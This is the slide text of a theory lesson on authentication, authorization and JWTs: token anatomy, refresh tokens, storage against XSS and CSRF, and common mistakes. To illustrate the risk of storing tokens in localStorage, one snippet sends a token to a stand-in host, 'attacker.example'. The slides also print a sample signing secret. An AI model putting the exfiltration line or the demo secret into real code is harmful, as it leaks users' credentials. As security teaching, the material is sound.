Explain the difference between authentication and authorization, and why order matters
Describe the JWT structure and say exactly what each of the three parts contains
Reason about token lifetime, refresh tokens, and why access tokens cannot be revoked
Choose a token storage strategy and defend it against XSS and CSRF
Name the common JWT security mistakes and the mitigation for each
Note
This session is deliberately theory-only. No code is written today. Session 19 implements every idea here in .NET.
Agenda
Time
Segment
Type
Duration
0:00
AuthN vs AuthZ
Theory
15 min
0:15
How session-based auth works
Theory
10 min
0:25
How token-based auth works
Theory
15 min
0:40
JWT anatomy
Theory + Demo
25 min
1:05
Token lifetime & refresh tokens
Theory
20 min
1:25
Secure token storage
Theory
15 min
1:40
Discussion & Q&A
Discussion
20 min
Section 1 of 6
Authentication vs Authorization
Two words that sound alike, solve different problems, and are constantly confused. Getting them straight is the foundation for everything else today.
In this section
The two questions every request must answer
401 versus 403 — and why people get it wrong
Why authentication always runs first
Every Protected Request Asks Two Questions
Question 1 — Authentication
Who are you?
The caller proves their identity. Until this succeeds, the server is talking to an anonymous stranger.
"I am Ahmed, here is my password."
Question 2 — Authorization
What are you allowed to do?
Given a known identity, the server decides whether this specific action is permitted.
"Ahmed is an Admin, so he can delete tasks."
Both are required
Authentication without authorization means every logged-in user can do everything. Authorization without authentication is meaningless — you cannot check permissions for someone you have not identified.
AuthN and AuthZ — The Shorthand
You will see these abbreviations in documentation, library names, and error messages. They are not interchangeable.
Term
Question
Answered by
Failure status
AuthN
Who are you?
Credentials, then a token or session
401 Unauthorized
AuthZ
What may you do?
Roles, policies, ownership checks
403 Forbidden
Naming trap
HTTP status 401 is named "Unauthorized" but it actually means unauthenticated. The status code that means "not authorized" is 403. This is a known wart in the HTTP specification — learn it once and move on.
Choosing Between 401 and 403
The decision is mechanical once you know which question failed:
No token, expired token, bad signature → 401
Valid token, insufficient rights → 403
Rule of thumb
401 means "try again with credentials." 403 means "credentials received, still no."
In .NET this ordering is literal — it is the order of two middleware calls in the request pipeline.
UseHttpsRedirection()force TLS
UseRouting()match the endpoint
UseAuthentication()who are you — builds the identity
UseAuthorization()what may you do — reads that identity
MapControllers()run the action
Swap them and everything breaks silently
If UseAuthorization runs first, there is no identity to inspect yet. Every user looks anonymous, and every protected endpoint returns 401 even with a perfectly valid token. You will meet this bug in Session 19.
You Have Already Written Half of This
In React you have probably hidden a "Delete" button unless the user is an admin. That is authorization — but it is cosmetic.
Anyone can open DevTools, unhide the button, or call the endpoint directly with curl. The frontend check improves the experience; it does not protect anything.
function TaskRow({ task, user }) {
return (
{user.role === "Admin" && <DeleteButton />}
);
}
The rule
Every check on the client must be repeated on the server. The server is the only one that counts.
Section 2 of 6
How Session-Based Auth Works
The traditional approach the web ran on for twenty years. Understanding it explains exactly what problem tokens were invented to solve.
In this section
HTTP is stateless — the root problem
Session IDs, cookies, and the session store
Why it struggles to scale horizontally
The Root Problem: HTTP Has No Memory
Each HTTP request is independent. The server does not remember that the same person sent a request one second ago.
You log in successfully. The server responds 200 OK.
You request GET /api/v1/tasks. To the server, this is a brand new stranger.
Nothing in a plain HTTP request says "this is the person who logged in."
So every auth scheme answers one question
How does the client prove, on every single request, that it is the same party that logged in — without sending the password again?
There are two mainstream answers: sessions (server remembers) and tokens (client carries proof).
Session-Based Flow
The session ID is an opaque pointer. All the real data lives on the server.
What Each Side Actually Holds
The cookie carries nothing meaningful — it is a random opaque string. Stealing it still gets you in, but reading it tells you nothing.
The server holds the truth: which user, when they logged in, what they are allowed to do.
Consequence
Deleting the server-side record logs the user out instantly. Revocation is trivial.
Tokens are not strictly better. Be honest about what sessions win.
Instant revocation. Delete the row, the user is out on their next request.
Nothing leaks. The cookie is a random string — no user data travels on the wire.
Change permissions live. Demote an admin and the very next request reflects it.
Tiny requests. A session ID is around 32 characters, not several hundred bytes.
Mature tooling. Browsers handle cookie storage and expiry natively.
Worth knowing
Many large products still run on sessions. "JWT everywhere" is a fashion, not a law.
The Scaling Problem
One server is fine. Traffic grows, so you run three servers behind a load balancer.
You log in and Server A stores your session in its own memory. Your next request lands on Server B, which has never heard of abc123.
Result
The user is randomly logged out roughly two times in three.
Three Ways Out — And Their Costs
Approach
How it works
Cost
Sticky sessions
Load balancer always routes a given user to the same server
Uneven load; that server restarting logs everyone on it out
Shared session store
All servers read and write sessions in Redis or SQL
A network round trip on every request; a new component to run and keep alive
Stateless tokens
Client carries signed proof; no server-side lookup at all
Cannot revoke a token before it expires
Where this session goes next
Option three is what JWT gives you. Everything after this slide is exploring the consequences of choosing it — including that one uncomfortable cost.
Section 3 of 6
How Token-Based Auth Works
Move the state to the client, and make it tamper-evident with a signature. The server stops remembering and starts verifying.
In this section
The stateless flow, end to end
The Authorization Bearer header
What you gain and what you give up
Token-Based Flow
Compare with the previous diagram: the session store is gone entirely.
The Server Stores Nothing
This is the whole idea, and it is worth stating bluntly: after issuing a token, the server forgets you completely.
The token is self-contained — it carries the user id, email, and role inside it.
The token is signed — any edit to its contents invalidates the signature.
Verification needs only the secret key, which every instance already has in configuration.
Any server can validate any token. Add ten instances; none of them need to talk to each other.
Horizontal scaling, solved
There is no shared state to synchronise, so the load balancer can route each request anywhere it likes.
Sessions vs Tokens, Side by Side
Session-based
Token-based (JWT)
Server stores
Session record per logged-in user
Nothing
Client stores
Opaque session ID
The full signed token
Per request
Look up the session
Verify the signature
Scales horizontally
Needs sticky routing or a shared store
Yes, natively
Revocation
Instant — delete the record
Hard — valid until it expires
Readable by client
No
Yes — payload is only encoded
Typical carrier
Cookie
Authorization header
The Authorization Header
Every authenticated request carries the token in one standard header. The format is fixed:
Authorization: <scheme> <credentials>
The scheme for JWT is Bearer. One space separates it from the token. No quotes, no Bearer:, no lowercase bearer in your client code.
GET /api/v1/tasks HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiJ9.M8mbrku6
Accept: application/json
Most common beginner bug
Sending the raw token with no Bearer prefix. The server sees an unparseable header, ignores it, and returns 401.
"Bearer" Means Exactly What It Says
A bearer token works like cash. Whoever bears it can spend it. The server does not check that the holder is the person the token was issued to — possession is the entire proof.
Implication
A stolen token is a stolen identity, for as long as the token remains valid. There is no second factor inside the token itself.
This single fact drives three decisions you will make later today:
Always transmit over HTTPS — a plaintext token on public Wi-Fi is a giveaway
Keep the lifetime short — it limits how long a theft is useful
Store it where scripts cannot casually read it
The Trade You Are Making
What you gain
No session store to run or scale.
Any instance validates any token.
Works across separate services and domains.
Natural fit for mobile apps and SPAs.
What you give up
You cannot revoke an issued token.
Role changes only apply at the next issue.
Larger requests — the token rides along every time.
The payload is readable by anyone holding it.
Engineering, not magic
Every architecture choice costs something. The skill is naming the cost before you pay it, not pretending it is absent.
Section 4 of 6
JWT Anatomy
Three Base64Url segments joined by dots. Twenty-five minutes taking one apart byte by byte, because the shape explains every rule that follows.
In this section
Header, payload, signature
Registered and custom claims
Encoding is not encryption
HS256 versus RS256
Three Parts, Two Dots
A JWT is one long ASCII string. Split it on the dot character and you get exactly three pieces.
Change a single character of the payload and the recomputed signature no longer matches.
An attacker can edit "role": "User" to "Admin" — but cannot produce the matching signature without the secret.
The server never trusts the token's contents until this check passes.
The secret is the whole security model
Anyone who obtains it can mint a valid token for any user with any role. Treat it like a database root password.
How Verification Works
Key Concept
"A JWT payload is not encrypted — only signed.
Anyone holding the token can read every claim in it.
The signature stops them changing it, not seeing it."
— Session 18
Prove It To Yourself
No key, no tool, no privileges. Any holder of the token can do this in one line.
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsImVtYWlsIjoiYWhtZWRAZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0.M8mbrku6GSUoUOlCEzgrcf-mhmlTJX-16EuD6-AqpwI"
# take the middle segment and Base64-decode it
echo "$TOKEN" | cut -d. -f2 | base64 -d
# {"sub":"42","email":"ahmed@example.com","role":"Admin","iat":1700000000,"exp":1700003600}
Live demo
Paste the same token into jwt.io. The header and payload appear instantly. Enter the secret andalusia-super-secret-key-change-me and the signature turns green — change one character of it and the check fails.
What Must Never Go In a Payload
Passwords or password hashesNever
Credit card or bank account numbersNever
National ID numbers, medical dataNever
Internal connection strings or API keysNever
User id, role, email, tenant idFine
Expiry, issuer, audienceFine
The test
Before adding a claim, ask: would I be comfortable printing this on the user's screen? If not, it does not belong in a JWT.
Size Is a Real Constraint
The token is sent on every single request. A bloated payload is a permanent tax on your API.
A lean token: roughly 200–400 bytes
Stuffed with permissions arrays: several kilobytes
Many servers reject headers above 8 KB outright
A real failure mode
Add every permission to the token, let one user accumulate enough of them, and that user — and only that user — starts receiving 431 Request Header Fields Too Large. It is a miserable bug to diagnose.
Better
Put the role in the token. Look up the fine-grained permissions for that role on the server.
Two Classic Attacks on the Header
alg: none
The attacker rewrites the header to {"alg":"none"}, edits the payload freely, and sends no signature at all. Naive libraries once accepted this.
Fix: pin the accepted algorithm; never let the token choose.
Algorithm confusion
A server expecting RS256 is handed an HS256 token signed with the public key — which is public. The server verifies it as a shared secret and accepts.
Fix: validate against one fixed algorithm, not whatever the header claims.
Good news for us
Microsoft's JwtBearer handler defends against both by default when you configure TokenValidationParameters properly. You still need to know why the defaults exist — you will meet libraries in other languages that are less careful.
HS256 vs RS256
HS256 — symmetric
One shared secret both signs and verifies.
Simple to set up, nothing to distribute.
Every verifier can also forge tokens.
best when one app issues and consumes
RS256 — asymmetric
Private key signs, public key verifies.
Verifiers cannot mint new tokens.
Requires key management and distribution.
best when many services consume tokens
Our choice
The Task API issues and validates its own tokens, so HS256 is the right level of complexity for this course. Recognise RS256 when you see it — it is what identity providers like Auth0 and Microsoft Entra ID use.
Section 5 of 6
Token Lifetime & Refresh Tokens
Short tokens are safer but annoy users. Refresh tokens resolve that tension — by reintroducing exactly the server-side state we removed.
In this section
Why access tokens are short-lived
The revocation problem, stated honestly
The two-token model and rotation
What logging out really means
A Token's Life on a Clock
Why Access Tokens Are Short-Lived
The lifetime you choose is the size of the window an attacker gets after stealing a token. That is the entire calculation.
Lifetime
If the token is stolen
User experience
15 minutes
Attacker has at most 15 minutes of access
Needs a refresh mechanism
1 hour
Up to an hour of full impersonation
Reasonable middle ground
24 hours
A full day, even after the password is changed
Convenient and dangerous
30 days
A month of undetectable access
Effectively a permanent breach
Course default
Access token: 15 minutes to 1 hour. Refresh token: 7 to 30 days.
The Revocation Problem
This is the hard truth of stateless auth, and it deserves a slide of its own.
An issued access token cannot be un-issued
The server keeps no record of it. There is nothing to delete. Until exp passes, that token is valid — and every one of your servers will happily honour it.
Consider what that means in practice:
You fire an employee and disable their account — their current token still works.
You demote an admin to a normal user — their token still claims "role": "Admin".
A user changes their password after a phishing attack — the stolen token is unaffected.
Short lifetimes are the mitigation. They do not eliminate the window; they shrink it.
The Two-Token Model
Access Token vs Refresh Token
Access token
Refresh token
Lifetime
15 minutes to 1 hour
7 to 30 days
Sent with
Every API request
Only the refresh endpoint
Stored server-side
No
Yes — a row in the database
Revocable
No
Yes — delete or flag the row
Contains claims
Yes — user id, role
No — usually a random opaque string
If stolen
Damage bounded by expiry
Serious — mints new access tokens
Notice the irony
To make stateless auth practical we added a database table. Refresh tokens are the state we tried to remove — but now it is touched once every 15 minutes instead of on every request.
What a Refresh Token Record Holds
Because it lives in your database, you decide the rules. A typical row records:
Who it belongs to
When it expires
Whether it has been revoked
Optionally, the device or IP it was issued to
conceptual shape — built in Session 19
public class RefreshToken
{
public string Token { get; set; }
public int UserId { get; set; }
public DateTime ExpiresAt { get; set; }
public bool IsRevoked { get; set; }
public DateTime? RevokedAt { get; set; }
}
This is an ordinary EF Core entity — exactly the modelling you learned in Sessions 14 to 16.
Refresh Token Rotation
A refresh token that stays valid for 30 days is a rich target. Rotation shrinks the exposure:
Every refresh call issues a new refresh token and invalidates the old one
Each refresh token is therefore usable exactly once
If an old token is presented again, something is wrong
Reuse detection
A replayed token means either the attacker or the real user is using a stolen copy — you cannot tell which. The safe response is to revoke the entire token family for that user and force a fresh login.
Scope note
The capstone does not require rotation. Know the term, understand the motivation, and reach for it when a real system needs it.
So How Do You Log Someone Out?
One of today's discussion questions, answered three ways.
1. Discard on client
Delete the token from memory. Simple and instant from the user's point of view — but a copied token still works until it expires.
2. Revoke the refresh token
Delete the database row. The current access token survives its remaining minutes; after that, no new one can be issued.
3. Denylist by jti
Record revoked token ids and check every request against the list. Fully effective — and you have re-created a session store.
The honest answer
Most systems use 1 and 2 together, and accept a short window where the old access token still works. That window is precisely why the lifetime is 15 minutes.
Section 6 of 6
Secure Token Storage
You have a token. Where does the browser keep it? Every option trades one class of attack for another — there is no free choice here.
In this section
XSS and CSRF in plain terms
Four storage options, ranked
What we use in this course, and why
Two Attacks You Are Choosing Between
XSS — cross-site scripting
Attacker gets JavaScript running on your page — through a vulnerable dependency, an unescaped comment, a compromised CDN script.
That script can read anything JavaScript can read.
steals the token, then uses it
CSRF — cross-site request forgery
A malicious site makes the victim's browser send a request to your API. The browser attaches cookies automatically.
The attacker never sees the credential — the browser uses it for them.
rides the credential without reading it
The key asymmetry
XSS threatens anything JavaScript can read. CSRF threatens anything the browser sends automatically. A storage choice that defeats one usually exposes the other.
Four Places To Put a Token
Storage
XSS risk
CSRF risk
Recommendation
localStorage
High
None
Avoid for tokens
sessionStorage
High
None
Avoid for tokens
Memory (JS variable)
Low
None
Best for SPAs
HttpOnly cookie
None
High
Best with CSRF protection
Read the table honestly
There is no row with "None" in both columns. You are picking which attack you are prepared to defend against by other means.
Why localStorage Loses
It is the first thing every tutorial reaches for: two lines, survives a refresh, works immediately.
It is also readable by every script on the page, including the 900 transitive dependencies you did not audit.
One compromised package
A single malicious dependency exfiltrates every user's token silently. Nothing in your own code has to be wrong.
// your code
localStorage.setItem("token", accessToken);
// any script on the page, including a
// compromised third-party dependency
fetch("https://attacker.example/collect", {
method: "POST",
body: localStorage.getItem("token")
});
In-Memory Storage
Hold the token in a JavaScript variable — React state or context. It never touches persistent browser storage.
Not reachable through localStorage or the cookie jar
Gone the moment the tab closes
Also gone on refresh — use the refresh token to recover the session
SameSite=Strict or Lax blocks most cross-site sends. Anti-forgery tokens cover the rest. Secure refuses to send over plain HTTP.
What We Use In This Course
Store the access token in React state or contextIn memory
Send it as Authorization: Bearer <token>Header
Never write it to localStorage or sessionStorageRule
Always transmit over HTTPSSession 21
Why this combination
An explicit header is not attached automatically by the browser, so CSRF is structurally impossible. Memory storage keeps casual XSS from harvesting it. It is also the simplest thing to demonstrate and debug in Postman — which matters while you are learning.
Six Mistakes To Recognise
Secret in appsettings.json
Committed to Git, visible to anyone with repository access, forever in the history.
Fix: user-secrets locally, environment variables in production.
Weak or short secret
A 12-character secret is brute-forceable offline once an attacker holds one token.
Fix: at least 32 random bytes for HS256.
Sensitive data in the payload
Anyone holding the token reads it. Encoding is not encryption.
Fix: identifiers and roles only.
No expiry, or a 30-day expiry
A stolen token is useful for a month, and cannot be recalled.
Fix: short access token plus a refresh token.
Trusting claims without verifying
Decoding a token is not validating it. Reading claims from an unverified token trusts the attacker.
Fix: verify the signature first, always.
Sending tokens over plain HTTP
Anyone on the network path reads the header and replays it.
Fix: HTTPS everywhere, enforced server-side.
Discussion
"If JWTs cannot be revoked, how do you log a user out?"
Consider all three options we covered, and be explicit about the window each one leaves open.
"What happens if the JWT secret leaks?"
Who can the attacker impersonate? What does rotating the secret do to every currently logged-in user?
"Why is a 15-minute access token better than a 24-hour one?"
Quantify the exposure window. Then argue the other side — what does the short lifetime cost you in complexity?
Summary
1Authentication asks who you are and fails with 401; authorization asks what you may do and fails with 403. Authentication always runs first.
2Sessions keep state on the server and revoke instantly; tokens keep state on the client and scale horizontally. Each buys one advantage with the other's weakness.
3A JWT is header, payload, and signature, Base64Url-encoded and joined by dots. The signature proves integrity — it provides no confidentiality.
4The payload is readable by anyone holding the token, so it carries identifiers and roles and nothing sensitive.
5Access tokens cannot be revoked. Short lifetimes shrink the damage; refresh tokens, stored server-side, restore control.
6Store the token in memory and send it in the Authorization header. Never localStorage, never over plain HTTP.
What's Next
Session 19 — Implementing JWT Auth in .NET
Everything on today's slides becomes code:
Hashing passwords properly on registration
Issuing a signed token on login
Configuring AddJwtBearer and TokenValidationParameters
Protecting endpoints with [Authorize]
Reading claims from HttpContext.User
Come prepared
Session 19 moves fast. If the three parts of a JWT are not clear yet, spend ten minutes on jwt.io before the next class — decode a token, change one character in the payload, and watch the signature check fail.
Looking further ahead
Session 20 turns claims into roles and policies. Session 21 adds rate limiting, CORS, and HTTPS around all of it.
Assignment — Token Autopsy
Write a short document, docs/token-analysis.md, dissecting a real JWT. Generate one at jwt.io with the payload of your choice, or use the token from the anatomy slide.
Paste the full token, then show each of the three segments decoded, labelled header, payload, and signature
Write one line explaining every claim in your payload, marking each as registered or custom
Edit the role claim to Admin, re-encode that segment, and paste the resulting token back into jwt.io — record what the signature check reports and explain in two sentences why
Choose an access token lifetime for the capstone Task API and justify it against the theft-window table
State where your React client will store the token and name the one attack that choice still leaves open
Bonus
Answer this in a closing paragraph: your company must invalidate one specific user's access immediately, and the access token lifetime is one hour. Describe two mechanisms that would achieve it, and state honestly what each one costs you in statelessness.